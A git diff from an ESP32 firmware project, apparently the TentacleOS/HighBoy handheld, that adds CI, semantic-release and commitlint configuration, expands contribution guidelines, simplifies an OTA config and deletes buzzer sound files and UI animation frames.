diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml new file mode 100644 index 00000000..5732c728 --- /dev/null +++ b/.github/workflows/ci.yml @@ -0,0 +1,37 @@ +name: CI + +on: + pull_request: + branches: [main, dev] + +jobs: + commitlint: + name: Validate Commits + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + fetch-depth: 0 + + - uses: actions/setup-node@v4 + with: + node-version: 22 + + - run: npm install --save-dev @commitlint/cli @commitlint/config-conventional + + - run: npx commitlint --from ${{ github.event.pull_request.base.sha }} --to ${{ github.event.pull_request.head.sha }} + + build: + name: Build Firmware + runs-on: ubuntu-latest + container: + image: espressif/idf:v5.5.1 + + steps: + - uses: actions/checkout@v4 + with: + submodules: recursive + + - name: Build + run: bash tools/build.sh + shell: bash diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml new file mode 100644 index 00000000..764bddcf --- /dev/null +++ b/.github/workflows/release.yml @@ -0,0 +1,86 @@ +name: Release + +on: + push: + branches: [main] + +permissions: + contents: write + issues: write + pull-requests: write + +jobs: + version: + name: Semantic Release + runs-on: ubuntu-latest + outputs: + new_release: ${{ steps.semrel.outputs.new_release }} + version: ${{ steps.semrel.outputs.version }} + + steps: + - uses: actions/checkout@v4 + with: + fetch-depth: 0 + + - uses: actions/setup-node@v4 + with: + node-version: 22 + + - name: Install dependencies + run: | + npm install \ + semantic-release \ + conventional-changelog-conventionalcommits \ + @semantic-release/commit-analyzer \ + @semantic-release/release-notes-generator \ + @semantic-release/changelog \ + @semantic-release/exec \ + @semantic-release/git \ + @semantic-release/github + + - name: Run semantic-release + id: semrel + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + OUTPUT=$(npx semantic-release 2>&1) || true + echo "$OUTPUT" + VERSION=$(echo "$OUTPUT" | grep -oP 'Published release \K[0-9]+\.[0-9]+\.[0-9]+' || echo "") + if [ -n "$VERSION" ]; then + echo "new_release=true" >> $GITHUB_OUTPUT + echo "version=$VERSION" >> $GITHUB_OUTPUT + else + echo "new_release=false" >> $GITHUB_OUTPUT + fi + + build: + name: Build & Upload + needs: version + if: needs.version.outputs.new_release == 'true' + runs-on: ubuntu-latest + container: + image: espressif/idf:v5.5.1 + + steps: + - uses: actions/checkout@v4 + with: + ref: main + fetch-depth: 0 + submodules: recursive + + - name: Pull latest (includes version commit) + run: git pull origin main + + - name: Build + run: bash tools/build.sh + shell: bash + + - name: Upload binary to Release + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + VERSION: ${{ needs.version.outputs.version }} + run: | + cp firmware_p4/build/TentacleOS_P4.bin "TentacleOS_v${VERSION}.bin" + gh release upload "v${VERSION}" \ + "TentacleOS_v${VERSION}.bin" \ + --clobber diff --git a/.gitignore b/.gitignore index a1e6be68..db1025dd 100644 --- a/.gitignore +++ b/.gitignore @@ -4,6 +4,9 @@ /lvgl-env/ **/lvgl-env/ /temp/ +temp/ +temp +**/temp/** **/temp/ LVGLImage.py @@ -533,7 +536,6 @@ object_script.*.Debug moc_*.cpp moc_*.h qrc_*.cpp -ui_*.h *.qmlc *.jsc Makefile* diff --git a/.releaserc.json b/.releaserc.json new file mode 100644 index 00000000..643d0ac4 --- /dev/null +++ b/.releaserc.json @@ -0,0 +1,30 @@ +{ + "branches": ["main"], + "plugins": [ + ["@semantic-release/commit-analyzer", { + "preset": "conventionalcommits", + "releaseRules": [ + { "type": "feat", "release": "minor" }, + { "type": "fix", "release": "patch" }, + { "type": "perf", "release": "patch" }, + { "breaking": true, "release": "major" } + ] + }], + "@semantic-release/release-notes-generator", + ["@semantic-release/changelog", { + "changelogFile": "CHANGELOG.md" + }], + ["@semantic-release/exec", { + "prepareCmd": "sed -i 's/\"version\": *\"[^\"]*\"/\"version\": \"${nextRelease.version}\"/' firmware_p4/assets/config/OTA/firmware.json firmware_c5/assets/config/OTA/firmware.json" + }], + ["@semantic-release/git", { + "assets": [ + "CHANGELOG.md", + "firmware_p4/assets/config/OTA/firmware.json", + "firmware_c5/assets/config/OTA/firmware.json" + ], + "message": "chore(release): v${nextRelease.version}" + }], + "@semantic-release/github" + ] +} diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 44efc477..8bcfdf75 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -74,13 +74,54 @@ We follow the [ESP-IDF Style Guide](https://docs.espressif.com/projects/esp-idf/ --- ### Commit Conventions -We use [Conventional Commits](https://www.conventionalcommits.org/). This helps in generating changelogs and understanding the history. +We use [Conventional Commits](https://www.conventionalcommits.org/). This is **enforced by a git hook** — commits that don't follow the format will be rejected. Format: `(): ` -Common types: `feat`, `fix`, `docs`, `style`, `refactor`, `perf`, `test`, `chore`. +| Type | Description | Version Impact | +|---|---|---| +| `feat` | New feature | Minor bump (0.**X**.0) | +| `fix` | Bug fix | Patch bump (0.0.**X**) | +| `perf` | Performance improvement | Patch bump (0.0.**X**) | +| `docs` | Documentation only | No bump | +| `style` | Code style (formatting, etc.) | No bump | +| `refactor` | Code refactoring | No bump | +| `test` | Adding or updating tests | No bump | +| `chore` | Maintenance tasks | No bump | +| `ci` | CI/CD changes | No bump | +| `build` | Build system changes | No bump | +| `revert` | Reverting a previous commit | No bump | + +**Breaking changes** (major version bump) are indicated by adding `!` before the colon: +``` +feat(spi)!: redesigned bridge protocol +fix!: changed public API return types +``` + +Examples: +``` +feat(subghz): add waterfall visualization +fix(spi): corrected timeout on bridge init +feat(bt)!: redesigned BLE protocol +chore: cleanup unused imports +refactor(ota): simplified update flow +``` + +### Automatic Versioning +This project uses **Semantic Versioning** with fully automated version bumps via [semantic-release](https://github.com/semantic-release/semantic-release). + +- Versioning is handled entirely by **GitHub Actions** — contributors do not need to manage versions manually. +- When a PR is merged into `main`, the CI pipeline analyzes commit messages, determines the version bump, creates a git tag, generates a changelog, and publishes a GitHub Release with the firmware binaries. +- Just write your commits following the Conventional Commits format and the rest is automatic. + +### Git Hooks Setup +After cloning the repository, run the setup script to install the required git hooks: + +```bash +./tools/setup.sh +``` -Example: `feat(subghz): add waterfall visualization` +This installs the `commit-msg` hook that validates your commit messages follow the Conventional Commits format. **Without this, your commits may be rejected during code review.** --- diff --git a/commitlint.config.js b/commitlint.config.js new file mode 100644 index 00000000..8b78b8bd --- /dev/null +++ b/commitlint.config.js @@ -0,0 +1,12 @@ +module.exports = { + extends: ['@commitlint/config-conventional'], + rules: { + 'type-enum': [2, 'always', [ + 'feat', 'fix', 'docs', 'style', 'refactor', + 'perf', 'test', 'chore', 'ci', 'build', 'revert', + 'delete', 'deleted', 'remove', 'removed' + ]], + 'scope-case': [0], + 'subject-case': [0], + }, +}; diff --git a/firmware_c5/CMakeLists.txt b/firmware_c5/CMakeLists.txt index faca6db5..747bed0b 100644 --- a/firmware_c5/CMakeLists.txt +++ b/firmware_c5/CMakeLists.txt @@ -9,7 +9,7 @@ set(CMAKE_EXPORT_COMPILE_COMMANDS ON) include($ENV{IDF_PATH}/tools/cmake/project.cmake) -project(highboy) +project(TentacleOS_C5) if(CMAKE_HOST_SYSTEM_NAME STREQUAL "Windows") # Windows Detection diff --git a/firmware_c5/assets/UI/MENU_SELECT.png b/firmware_c5/assets/UI/MENU_SELECT.png deleted file mode 100644 index 33f32bec..00000000 Binary files a/firmware_c5/assets/UI/MENU_SELECT.png and /dev/null differ diff --git a/firmware_c5/assets/config/OTA/firmware.json b/firmware_c5/assets/config/OTA/firmware.json index 0b1c70df..46708d93 100644 --- a/firmware_c5/assets/config/OTA/firmware.json +++ b/firmware_c5/assets/config/OTA/firmware.json @@ -1,42 +1,6 @@ { - "system_hardware": "HighBoy_v1", - "ota_repository_url": "https://repository.highboy.com.br/firmware/system/update.json", - "changelog": "vazio ate agora", - "components": { - "master_mcu": { - "chip": "ESP32-S3", - "version": "1.0.0", - "status": "active" - }, - "slave_mcu": { - "chip": "ESP32-C5", - "version": "1.0.0", - "status": "active" - } - } -} - -update.json (its be available in web server, saving it here temporary). -{ - "release_tag": "release_2024_01_update", github actions - "critical": true, - "changelog": "Update crítico do driver de rádio no C5 e melhorias de UI no S3.", - "packages": [ - { - "component": "master_mcu", - "version": "1.0.1", - "url": "https://repository.highboy.com.br/firmware/esp32-s3/fw_s3_1.0.1.bin", - "size": 1452032, - "md5": "5eb63bbbe01eeed093cb22bb8f5acdc3", - "action": "self_update" - }, - { - "component": "slave_mcu", - "version": "1.0.2", - "url": "https://repository.highboy.com.br/firmware/esp32-c5/fw_c5_1.0.2.bin", - "size": 524288, - "md5": "a1b2c3d4e5f6as12da123f12r6", - "action": "flash_via_peripheral" - } - ] + "system_hardware": "HighBoy", + "version": "0.1.0", + "ota_repository_url": "https://repo.highboy.com.br/firmware/system/update.json", + "changelog": "" } diff --git a/firmware_c5/assets/config/buzzer/buzzer.conf b/firmware_c5/assets/config/buzzer/buzzer.conf deleted file mode 100644 index 0aac3f6a..00000000 --- a/firmware_c5/assets/config/buzzer/buzzer.conf +++ /dev/null @@ -1,4 +0,0 @@ -{ - "volume": 3, - "enabled": 1 -} \ No newline at end of file diff --git a/firmware_c5/assets/config/buzzer/default_notes.conf b/firmware_c5/assets/config/buzzer/default_notes.conf deleted file mode 100644 index 07ca5964..00000000 --- a/firmware_c5/assets/config/buzzer/default_notes.conf +++ /dev/null @@ -1,91 +0,0 @@ -{ - "B0": 31.00, - "C1": 33.00, - "CS1": 35.00, - "D1": 37.00, - "DS1": 39.00, - "E1": 41.00, - "F1": 44.00, - "FS1": 46.00, - "G1": 49.00, - "GS1": 52.00, - "A1": 55.00, - "AS1": 58.00, - "B1": 62.00, - "C2": 65.00, - "CS2": 69.00, - "D2": 73.00, - "DS2": 78.00, - "E2": 82.00, - "F2": 87.00, - "FS2": 93.00, - "G2": 98.00, - "GS2": 104.00, - "A2": 110.00, - "AS2": 117.00, - "B2": 123.00, - "C3": 131.00, - "CS3": 139.00, - "D3": 147.00, - "DS3": 156.00, - "E3": 165.00, - "F3": 175.00, - "FS3": 185.00, - "G3": 196.00, - "GS3": 208.00, - "A3": 220.00, - "AS3": 233.00, - "B3": 247.00, - "C4": 261.63, - "CS4": 277.00, - "D4": 293.66, - "DS4": 311.00, - "E4": 329.63, - "F4": 349.23, - "FS4": 370.00, - "G4": 392.00, - "GS4": 415.00, - "A4": 440.00, - "AS4": 466.00, - "B4": 493.88, - "C5": 523.25, - "CS5": 554.00, - "D5": 587.00, - "DS5": 622.00, - "E5": 659.00, - "F5": 698.00, - "FS5": 740.00, - "G5": 784.00, - "GS5": 831.00, - "A5": 880.00, - "AS5": 932.00, - "B5": 988.00, - "C6": 1047.00, - "CS6": 1109.00, - "D6": 1175.00, - "DS6": 1245.00, - "E6": 1319.00, - "F6": 1397.00, - "FS6": 1480.00, - "G6": 1568.00, - "GS6": 1661.00, - "A6": 1760.00, - "AS6": 1865.00, - "B6": 1976.00, - "C7": 2093.00, - "CS7": 2217.00, - "D7": 2349.00, - "DS7": 2489.00, - "E7": 2637.00, - "F7": 2794.00, - "FS7": 2960.00, - "G7": 3136.00, - "GS7": 3322.00, - "A7": 3520.00, - "AS7": 3729.00, - "B7": 3951.00, - "C8": 4186.00, - "CS8": 4435.00, - "D8": 4699.00, - "DS8": 4978.00 -} \ No newline at end of file diff --git a/firmware_c5/assets/config/buzzer/sounds/buzzer_access_denied.conf b/firmware_c5/assets/config/buzzer/sounds/buzzer_access_denied.conf deleted file mode 100644 index 089cfd2d..00000000 --- a/firmware_c5/assets/config/buzzer/sounds/buzzer_access_denied.conf +++ /dev/null @@ -1,17 +0,0 @@ -{ - "name": "buzzer_access_denied", - "notes": [ - { - "freq": 311.00, - "duration": 200 - }, - { - "freq": 293.66, - "duration": 200 - }, - { - "freq": 277.00, - "duration": 200 - } - ] -} \ No newline at end of file diff --git a/firmware_c5/assets/config/buzzer/sounds/buzzer_access_granted.conf b/firmware_c5/assets/config/buzzer/sounds/buzzer_access_granted.conf deleted file mode 100644 index 07655907..00000000 --- a/firmware_c5/assets/config/buzzer/sounds/buzzer_access_granted.conf +++ /dev/null @@ -1,17 +0,0 @@ -{ - "name": "buzzer_access_granted", - "notes": [ - { - "freq": 440.00, - "duration": 100 - }, - { - "freq": 0, - "duration": 50 - }, - { - "freq": 523.25, - "duration": 120 - } - ] -} \ No newline at end of file diff --git a/firmware_c5/assets/config/buzzer/sounds/buzzer_alarm.conf b/firmware_c5/assets/config/buzzer/sounds/buzzer_alarm.conf deleted file mode 100644 index 742a3845..00000000 --- a/firmware_c5/assets/config/buzzer/sounds/buzzer_alarm.conf +++ /dev/null @@ -1,11 +0,0 @@ -{ - "name": "buzzer_alarm", - "notes": [ - {"freq": 523.25, "duration": 250}, - {"freq": 392.00, "duration": 250}, - {"freq": 523.25, "duration": 250}, - {"freq": 392.00, "duration": 250}, - {"freq": 523.25, "duration": 250}, - {"freq": 392.00, "duration": 250} - ] -} \ No newline at end of file diff --git a/firmware_c5/assets/config/buzzer/sounds/buzzer_beep.conf b/firmware_c5/assets/config/buzzer/sounds/buzzer_beep.conf deleted file mode 100644 index 2e1fee3a..00000000 --- a/firmware_c5/assets/config/buzzer/sounds/buzzer_beep.conf +++ /dev/null @@ -1,9 +0,0 @@ -{ - "name": "buzzer_beep", - "notes": [ - { - "freq": 988.00, - "duration": 100 - } - ] -} \ No newline at end of file diff --git a/firmware_c5/assets/config/buzzer/sounds/buzzer_boot_sequence.conf b/firmware_c5/assets/config/buzzer/sounds/buzzer_boot_sequence.conf deleted file mode 100644 index 6a7896b9..00000000 --- a/firmware_c5/assets/config/buzzer/sounds/buzzer_boot_sequence.conf +++ /dev/null @@ -1,25 +0,0 @@ -{ - "name": "buzzer_boot_sequence", - "notes": [ - { - "freq": 523.25, - "duration": 80 - }, - { - "freq": 0, - "duration": 50 - }, - { - "freq": 659.00, - "duration": 60 - }, - { - "freq": 0, - "duration": 30 - }, - { - "freq": 784.00, - "duration": 100 - } - ] -} \ No newline at end of file diff --git a/firmware_c5/assets/config/buzzer/sounds/buzzer_click.conf b/firmware_c5/assets/config/buzzer/sounds/buzzer_click.conf deleted file mode 100644 index 5d891975..00000000 --- a/firmware_c5/assets/config/buzzer/sounds/buzzer_click.conf +++ /dev/null @@ -1,9 +0,0 @@ -{ - "name": "buzzer_click", - "notes": [ - { - "freq": 784.00, - "duration": 50 - } - ] -} \ No newline at end of file diff --git a/firmware_c5/assets/config/buzzer/sounds/buzzer_critical_alert.conf b/firmware_c5/assets/config/buzzer/sounds/buzzer_critical_alert.conf deleted file mode 100644 index 55491809..00000000 --- a/firmware_c5/assets/config/buzzer/sounds/buzzer_critical_alert.conf +++ /dev/null @@ -1,9 +0,0 @@ -{ - "name": "buzzer_critical_alert", - "notes": [ - {"freq": 988.00, "duration": 100}, {"freq": 0, "duration": 50}, - {"freq": 988.00, "duration": 100}, {"freq": 0, "duration": 50}, - {"freq": 988.00, "duration": 100}, {"freq": 0, "duration": 50}, - {"freq": 988.00, "duration": 100}, {"freq": 0, "duration": 50} - ] -} \ No newline at end of file diff --git a/firmware_c5/assets/config/buzzer/sounds/buzzer_digital_pulse.conf b/firmware_c5/assets/config/buzzer/sounds/buzzer_digital_pulse.conf deleted file mode 100644 index 02ae59fe..00000000 --- a/firmware_c5/assets/config/buzzer/sounds/buzzer_digital_pulse.conf +++ /dev/null @@ -1,25 +0,0 @@ -{ - "name": "buzzer_digital_pulse", - "notes": [ - { - "freq": 1047.00, - "duration": 40 - }, - { - "freq": 0, - "duration": 20 - }, - { - "freq": 1319.00, - "duration": 40 - }, - { - "freq": 0, - "duration": 20 - }, - { - "freq": 1568.00, - "duration": 40 - } - ] -} \ No newline at end of file diff --git a/firmware_c5/assets/config/buzzer/sounds/buzzer_error.conf b/firmware_c5/assets/config/buzzer/sounds/buzzer_error.conf deleted file mode 100644 index 73fbd1ea..00000000 --- a/firmware_c5/assets/config/buzzer/sounds/buzzer_error.conf +++ /dev/null @@ -1,17 +0,0 @@ -{ - "name": "buzzer_error", - "notes": [ - { - "freq": 659.00, - "duration": 150 - }, - { - "freq": 0, - "duration": 50 - }, - { - "freq": 523.25, - "duration": 150 - } - ] -} \ No newline at end of file diff --git a/firmware_c5/assets/config/buzzer/sounds/buzzer_flipper_denied.conf b/firmware_c5/assets/config/buzzer/sounds/buzzer_flipper_denied.conf deleted file mode 100644 index 25557fb3..00000000 --- a/firmware_c5/assets/config/buzzer/sounds/buzzer_flipper_denied.conf +++ /dev/null @@ -1,21 +0,0 @@ -{ - "name": "buzzer_flipper_denied", - "notes": [ - { - "freq": 311.13, - "duration": 80 - }, - { - "freq": 261.63, - "duration": 50 - }, - { - "freq": 0, - "duration": 80 - }, - { - "freq": 246.94, - "duration": 120 - } - ] -} \ No newline at end of file diff --git a/firmware_c5/assets/config/buzzer/sounds/buzzer_flipper_granted.conf b/firmware_c5/assets/config/buzzer/sounds/buzzer_flipper_granted.conf deleted file mode 100644 index abba3a07..00000000 --- a/firmware_c5/assets/config/buzzer/sounds/buzzer_flipper_granted.conf +++ /dev/null @@ -1,17 +0,0 @@ -{ - "name": "buzzer_flipper_granted", - "notes": [ - { - "freq": 440.00, - "duration": 60 - }, - { - "freq": 523.25, - "duration": 60 - }, - { - "freq": 659.25, - "duration": 120 - } - ] -} \ No newline at end of file diff --git a/firmware_c5/assets/config/buzzer/sounds/buzzer_hacker_confirm.conf b/firmware_c5/assets/config/buzzer/sounds/buzzer_hacker_confirm.conf deleted file mode 100644 index 36c076a1..00000000 --- a/firmware_c5/assets/config/buzzer/sounds/buzzer_hacker_confirm.conf +++ /dev/null @@ -1,17 +0,0 @@ -{ - "name": "buzzer_hacker_confirm", - "notes": [ - { - "freq": 659.00, - "duration": 60 - }, - { - "freq": 0, - "duration": 30 - }, - { - "freq": 784.00, - "duration": 100 - } - ] -} \ No newline at end of file diff --git a/firmware_c5/assets/config/buzzer/sounds/buzzer_hacker_glitch.conf b/firmware_c5/assets/config/buzzer/sounds/buzzer_hacker_glitch.conf deleted file mode 100644 index f1fd6152..00000000 --- a/firmware_c5/assets/config/buzzer/sounds/buzzer_hacker_glitch.conf +++ /dev/null @@ -1,15 +0,0 @@ -{ - "name": "buzzer_hacker_glitch", - "notes": [ - {"freq": 1245.00, "duration": 30}, {"freq": 0, "duration": 10}, - {"freq": 1661.00, "duration": 30}, {"freq": 0, "duration": 10}, - {"freq": 1245.00, "duration": 30}, {"freq": 0, "duration": 10}, - {"freq": 1661.00, "duration": 30}, {"freq": 0, "duration": 10}, - {"freq": 1245.00, "duration": 30}, {"freq": 0, "duration": 10}, - {"freq": 1661.00, "duration": 30}, {"freq": 0, "duration": 10}, - {"freq": 1245.00, "duration": 30}, {"freq": 0, "duration": 10}, - {"freq": 1661.00, "duration": 30}, {"freq": 0, "duration": 10}, - {"freq": 1245.00, "duration": 30}, {"freq": 0, "duration": 10}, - {"freq": 1661.00, "duration": 30}, {"freq": 0, "duration": 10} - ] -} \ No newline at end of file diff --git a/firmware_c5/assets/config/buzzer/sounds/buzzer_notify_long.conf b/firmware_c5/assets/config/buzzer/sounds/buzzer_notify_long.conf deleted file mode 100644 index a6b856a5..00000000 --- a/firmware_c5/assets/config/buzzer/sounds/buzzer_notify_long.conf +++ /dev/null @@ -1,25 +0,0 @@ -{ - "name": "buzzer_notify_long", - "notes": [ - { - "freq": 659.00, - "duration": 150 - }, - { - "freq": 0, - "duration": 50 - }, - { - "freq": 784.00, - "duration": 150 - }, - { - "freq": 0, - "duration": 50 - }, - { - "freq": 1047.00, - "duration": 300 - } - ] -} \ No newline at end of file diff --git a/firmware_c5/assets/config/buzzer/sounds/buzzer_notify_short.conf b/firmware_c5/assets/config/buzzer/sounds/buzzer_notify_short.conf deleted file mode 100644 index f72da3d8..00000000 --- a/firmware_c5/assets/config/buzzer/sounds/buzzer_notify_short.conf +++ /dev/null @@ -1,17 +0,0 @@ -{ - "name": "buzzer_notify_short", - "notes": [ - { - "freq": 784.00, - "duration": 80 - }, - { - "freq": 0, - "duration": 50 - }, - { - "freq": 1047.00, - "duration": 100 - } - ] -} \ No newline at end of file diff --git a/firmware_c5/assets/config/buzzer/sounds/buzzer_radar_ping.conf b/firmware_c5/assets/config/buzzer/sounds/buzzer_radar_ping.conf deleted file mode 100644 index 8221acb9..00000000 --- a/firmware_c5/assets/config/buzzer/sounds/buzzer_radar_ping.conf +++ /dev/null @@ -1,17 +0,0 @@ -{ - "name": "buzzer_radar_ping", - "notes": [ - { - "freq": 392.00, - "duration": 100 - }, - { - "freq": 0, - "duration": 300 - }, - { - "freq": 329.63, - "duration": 80 - } - ] -} \ No newline at end of file diff --git a/firmware_c5/assets/config/buzzer/sounds/buzzer_scanner_loop.conf b/firmware_c5/assets/config/buzzer/sounds/buzzer_scanner_loop.conf deleted file mode 100644 index a6b2d514..00000000 --- a/firmware_c5/assets/config/buzzer/sounds/buzzer_scanner_loop.conf +++ /dev/null @@ -1,29 +0,0 @@ -{ - "name": "buzzer_scanner_loop", - "notes": [ - { - "freq": 262.00, - "duration": 50 - }, - { - "freq": 0, - "duration": 30 - }, - { - "freq": 312.00, - "duration": 50 - }, - { - "freq": 0, - "duration": 30 - }, - { - "freq": 362.00, - "duration": 50 - }, - { - "freq": 0, - "duration": 30 - } - ] -} \ No newline at end of file diff --git a/firmware_c5/assets/config/buzzer/sounds/buzzer_scroll_tick.conf b/firmware_c5/assets/config/buzzer/sounds/buzzer_scroll_tick.conf deleted file mode 100644 index 96326035..00000000 --- a/firmware_c5/assets/config/buzzer/sounds/buzzer_scroll_tick.conf +++ /dev/null @@ -1,17 +0,0 @@ -{ - "name": "buzzer_scroll_tick", - "notes": [ - { - "freq": 1047.00, - "duration": 20 - }, - { - "freq": 0, - "duration": 20 - }, - { - "freq": 1319.00, - "duration": 20 - } - ] -} \ No newline at end of file diff --git a/firmware_c5/assets/config/buzzer/sounds/buzzer_success.conf b/firmware_c5/assets/config/buzzer/sounds/buzzer_success.conf deleted file mode 100644 index 8d919ecc..00000000 --- a/firmware_c5/assets/config/buzzer/sounds/buzzer_success.conf +++ /dev/null @@ -1,25 +0,0 @@ -{ - "name": "buzzer_success", - "notes": [ - { - "freq": 523.25, - "duration": 100 - }, - { - "freq": 0, - "duration": 50 - }, - { - "freq": 587.00, - "duration": 100 - }, - { - "freq": 0, - "duration": 50 - }, - { - "freq": 659.00, - "duration": 100 - } - ] -} \ No newline at end of file diff --git a/firmware_c5/assets/config/buzzer/sounds/buzzer_system_tick.conf b/firmware_c5/assets/config/buzzer/sounds/buzzer_system_tick.conf deleted file mode 100644 index 3e820553..00000000 --- a/firmware_c5/assets/config/buzzer/sounds/buzzer_system_tick.conf +++ /dev/null @@ -1,11 +0,0 @@ -{ - "name": "buzzer_system_tick", - "notes": [ - { "freq": 1047.00, "duration": 25 }, - { "freq": 0, "duration": 40 }, - { "freq": 1047.00, "duration": 25 }, - { "freq": 0, "duration": 40 }, - { "freq": 1047.00, "duration": 25 }, - { "freq": 0, "duration": 40 } - ] -} \ No newline at end of file diff --git a/firmware_c5/assets/config/buzzer/sounds/megalovania.conf b/firmware_c5/assets/config/buzzer/sounds/megalovania.conf deleted file mode 100644 index 0902aac5..00000000 --- a/firmware_c5/assets/config/buzzer/sounds/megalovania.conf +++ /dev/null @@ -1,14 +0,0 @@ -{ - "name": "Megalovania", - "notes": [ - {"freq": 587.33, "duration": 125}, {"freq": 587.33, "duration": 125}, {"freq": 440.00, "duration": 125}, - {"freq": 587.33, "duration": 125}, {"freq": 440.00, "duration": 125}, {"freq": 587.33, "duration": 125}, - {"freq": 440.00, "duration": 250}, {"freq": 0, "duration": 125}, - {"freq": 698.46, "duration": 125}, {"freq": 698.46, "duration": 125}, {"freq": 523.25, "duration": 125}, - {"freq": 698.46, "duration": 125}, {"freq": 523.25, "duration": 125}, {"freq": 698.46, "duration": 125}, - {"freq": 523.25, "duration": 250}, {"freq": 0, "duration": 125}, - {"freq": 783.99, "duration": 125}, {"freq": 739.99, "duration": 125}, {"freq": 698.46, "duration": 125}, - {"freq": 622.25, "duration": 125}, {"freq": 587.33, "duration": 125}, {"freq": 622.25, "duration": 125}, - {"freq": 698.46, "duration": 250} - ] -} \ No newline at end of file diff --git a/firmware_c5/assets/config/buzzer/sounds/super_mario.conf b/firmware_c5/assets/config/buzzer/sounds/super_mario.conf deleted file mode 100644 index 77ebf06a..00000000 --- a/firmware_c5/assets/config/buzzer/sounds/super_mario.conf +++ /dev/null @@ -1,13 +0,0 @@ -{ - "name": "Super Mario Bros Theme", - "notes": [ - {"freq": 2637.02, "duration": 83}, {"freq": 2637.02, "duration": 83}, {"freq": 0, "duration": 83}, {"freq": 2637.02, "duration": 83}, - {"freq": 0, "duration": 83}, {"freq": 2093.00, "duration": 83}, {"freq": 2637.02, "duration": 83}, {"freq": 0, "duration": 83}, - {"freq": 3135.96, "duration": 83}, {"freq": 0, "duration": 83}, {"freq": 0, "duration": 83}, {"freq": 0, "duration": 83}, - {"freq": 1567.98, "duration": 83}, {"freq": 0, "duration": 83}, {"freq": 0, "duration": 83}, {"freq": 0, "duration": 83}, - {"freq": 2093.00, "duration": 83}, {"freq": 0, "duration": 83}, {"freq": 0, "duration": 83}, {"freq": 1567.98, "duration": 83}, - {"freq": 0, "duration": 83}, {"freq": 0, "duration": 83}, {"freq": 1318.51, "duration": 83}, {"freq": 0, "duration": 83}, - {"freq": 0, "duration": 83}, {"freq": 1760.00, "duration": 83}, {"freq": 0, "duration": 83}, {"freq": 1975.53, "duration": 83}, - {"freq": 0, "duration": 83}, {"freq": 1864.66, "duration": 83}, {"freq": 1760.00, "duration": 83}, {"freq": 0, "duration": 83} - ] -} \ No newline at end of file diff --git a/firmware_c5/assets/config/buzzer/sounds/zelda_lullaby.conf b/firmware_c5/assets/config/buzzer/sounds/zelda_lullaby.conf deleted file mode 100644 index 6b879889..00000000 --- a/firmware_c5/assets/config/buzzer/sounds/zelda_lullaby.conf +++ /dev/null @@ -1,11 +0,0 @@ -{ - "name": "Zelda's Lullaby", - "notes": [ - {"freq": 246.94, "duration": 1000}, {"freq": 293.66, "duration": 500}, {"freq": 220.00, "duration": 1000}, - {"freq": 196.00, "duration": 250}, {"freq": 220.00, "duration": 250}, {"freq": 246.94, "duration": 1000}, - {"freq": 293.66, "duration": 500}, {"freq": 220.00, "duration": 1500}, {"freq": 246.94, "duration": 1000}, - {"freq": 293.66, "duration": 500}, {"freq": 440.00, "duration": 1000}, {"freq": 392.00, "duration": 500}, - {"freq": 293.66, "duration": 1000}, {"freq": 261.63, "duration": 250}, {"freq": 246.94, "duration": 250}, - {"freq": 220.00, "duration": 1500}, {"freq": 523.25, "duration": 1500} - ] -} \ No newline at end of file diff --git a/firmware_c5/assets/frames/bluetooth_frame_0.png b/firmware_c5/assets/frames/bluetooth_frame_0.png deleted file mode 100644 index bb2ba9ee..00000000 Binary files a/firmware_c5/assets/frames/bluetooth_frame_0.png and /dev/null differ diff --git a/firmware_c5/assets/frames/bluetooth_frame_1.png b/firmware_c5/assets/frames/bluetooth_frame_1.png deleted file mode 100644 index dfc18cbb..00000000 Binary files a/firmware_c5/assets/frames/bluetooth_frame_1.png and /dev/null differ diff --git a/firmware_c5/assets/frames/bluetooth_frame_2.png b/firmware_c5/assets/frames/bluetooth_frame_2.png deleted file mode 100644 index 543a5fe4..00000000 Binary files a/firmware_c5/assets/frames/bluetooth_frame_2.png and /dev/null differ diff --git a/firmware_c5/assets/frames/config_frame_0.png b/firmware_c5/assets/frames/config_frame_0.png deleted file mode 100644 index 673d2329..00000000 Binary files a/firmware_c5/assets/frames/config_frame_0.png and /dev/null differ diff --git a/firmware_c5/assets/frames/config_frame_1.png b/firmware_c5/assets/frames/config_frame_1.png deleted file mode 100644 index ac3a6236..00000000 Binary files a/firmware_c5/assets/frames/config_frame_1.png and /dev/null differ diff --git a/firmware_c5/assets/frames/config_frame_2.png b/firmware_c5/assets/frames/config_frame_2.png deleted file mode 100644 index a952fb9b..00000000 Binary files a/firmware_c5/assets/frames/config_frame_2.png and /dev/null differ diff --git a/firmware_c5/assets/frames/files_frame_0.png b/firmware_c5/assets/frames/files_frame_0.png deleted file mode 100644 index 8e428a8b..00000000 Binary files a/firmware_c5/assets/frames/files_frame_0.png and /dev/null differ diff --git a/firmware_c5/assets/frames/files_frame_1.png b/firmware_c5/assets/frames/files_frame_1.png deleted file mode 100644 index c47689e1..00000000 Binary files a/firmware_c5/assets/frames/files_frame_1.png and /dev/null differ diff --git a/firmware_c5/assets/frames/files_frame_2.png b/firmware_c5/assets/frames/files_frame_2.png deleted file mode 100644 index fcdc01fe..00000000 Binary files a/firmware_c5/assets/frames/files_frame_2.png and /dev/null differ diff --git a/firmware_c5/assets/frames/ir_frame_0.png b/firmware_c5/assets/frames/ir_frame_0.png deleted file mode 100644 index e7b1292d..00000000 Binary files a/firmware_c5/assets/frames/ir_frame_0.png and /dev/null differ diff --git a/firmware_c5/assets/frames/ir_frame_1.png b/firmware_c5/assets/frames/ir_frame_1.png deleted file mode 100644 index 03f54137..00000000 Binary files a/firmware_c5/assets/frames/ir_frame_1.png and /dev/null differ diff --git a/firmware_c5/assets/frames/ir_frame_2.png b/firmware_c5/assets/frames/ir_frame_2.png deleted file mode 100644 index 61da13b5..00000000 Binary files a/firmware_c5/assets/frames/ir_frame_2.png and /dev/null differ diff --git a/firmware_c5/assets/frames/nfc_frame_0.png b/firmware_c5/assets/frames/nfc_frame_0.png deleted file mode 100644 index 7b377340..00000000 Binary files a/firmware_c5/assets/frames/nfc_frame_0.png and /dev/null differ diff --git a/firmware_c5/assets/frames/nfc_frame_1.png b/firmware_c5/assets/frames/nfc_frame_1.png deleted file mode 100644 index 2d4e9470..00000000 Binary files 